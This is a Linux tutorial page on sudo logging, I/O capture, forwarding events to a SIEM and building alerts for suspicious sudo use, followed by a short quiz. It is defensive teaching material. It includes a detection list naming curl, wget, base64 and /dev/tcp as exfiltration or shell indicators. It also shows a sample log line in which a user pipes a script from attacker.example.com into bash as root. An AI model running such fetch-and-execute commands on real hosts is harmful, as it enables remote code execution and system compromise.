LinuxV · sudo and Privileged Accesssudo logging
Sudo logging, I/O capture, and SIEM integration
What you'll learn
- Locate sudo log entries in journal and syslog
- Enable sudo I/O logging for sensitive commands
- Forward sudo events to a SIEM
- Build alerts for suspicious sudo activity
Prerequisites
Verified against Ubuntu 24.04 LTS · Debian 12 (Bookworm) · RHEL 9.x · Rocky Linux 9.x · AlmaLinux 9.x · Linux kernel 6.1 LTS / 6.6 LTS · systemd 255+ · OpenSSH 8.7p1 (RHEL 9) / 9.6p1 (Ubuntu 24.04) · nftables 1.0.x · chrony 4.x · Pacemaker 2.1.x · Corosync 3.1.x · 2026-08-09
A sudo rule is a promise; a sudo log is the proof. Every production fleet must have the journal of every sudo invocation shipped to a place where an incident responder can read it.
Where sudo logs
On modern systemd systems, sudo logs to syslog by default. systemd- journald captures the syslog stream into the journal.
$ journalctl _COMM=sudo -n 20 --no-pagerAug 9 12:00:01 host sudo[12345]: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/systemctl status ssh
Aug 9 12:00:42 host sudo[12346]: alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/systemctl restart sshIllustrative output
On traditional syslog systems, the same entries appear in
/var/log/auth.log (Debian) or /var/log/secure (RHEL).
I/O logging
For sensitive commands, sudo can also record stdin and stdout:
Defaults log_input, log_output
Defaults iolog_dir=/var/log/sudo-io/%{user}
With these Defaults, every sudo command’s input and output are
captured to a per-user subdirectory. The records are written in a
binary format readable by sudoreplay.
$ ls /var/log/sudo-io/alice/ | head00/00/01
00/00/02
00/00/03
...Illustrative output
Forwarding to a SIEM
The journal is the source of truth on the host, but the SIEM is the source of truth for the fleet. Ship sudo events to the SIEM by one of two paths:
- rsyslog forwarding: configure rsyslog to forward
authpriv.*(the syslog facility sudo uses) to a remote collector. - journald export: a log forwarder (Vector, Fluent Bit, Promtail) tails the journal and ships events.
$ grep -E 'authpriv|\\*.*\\*' /etc/rsyslog.d/*.conf 2>/dev/null/etc/rsyslog.d/20-sudo.conf:authpriv.* @siem.example.com:514Illustrative output
$ grep -E sudo /etc/vector/vector.toml 2>/dev/null | head -5[transforms.parse_sudo]\ntype = remap
source = source
.event.kind = event
if .program == sudo { .event.category = authentication }
[transforms.parse_sudo.output]
target = siemIllustrative output
Useful SIEM queries
Once the journal is searchable, build alerts:
| Alert | What it catches |
|---|---|
| sudo from a user who has never sudoed before | Compromised account. |
| sudo to a target user other than root | Privilege escalation to a service account (suspicious). |
sudo command containing curl, wget, base64, or /dev/tcp | Likely exfiltration or shell. |
| sudo during off-hours (configurable per fleet) | Compromised credentials. |
| sudo NOPASSWD command (any) | Audit the grant; verify it is intentional. |
sudo followed within 5 seconds by useradd or usermod | Account-creation sequence; high signal for an active attacker. |
Searching for specific sudo events
$ journalctl _COMM=sudo --since '24 hours ago' --no-pager | grep -E '(NOPASSWD|curl|wget)' | headAug 9 03:14:22 host sudo[23456]: eve : TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/curl http://attacker.example.com/install.sh | /bin/bashIllustrative output
- Configure rsyslog or Vector forwarding for authpriv. The host's journal is half-useful.
- Enable I/O logging for sensitive commands. sudo rules for sensitive services (e.g., database admin, certificate renewal) deserve I/O capture.
- Build SIEM alerts for the high-signal patterns. NOPASSWD, off-hours, new users, exfil indicators.
- Audit the audit trail quarterly. Confirm the logs are arriving; confirm the storage is not full; confirm the alerts fire.
- Test the runbook. Pretend to be the responder: "show me every sudo invocation on host01 last Tuesday".
Knowledge check
Knowledge check · 3 questions
Q1. Where does sudo log by default on a systemd-managed host?
Q2. sudo I/O logging is free in storage terms.
Q3. Which of the following sudo events deserve a SIEM alert? Select all that apply.
Passing score: 75%. Answers are checked in this browser.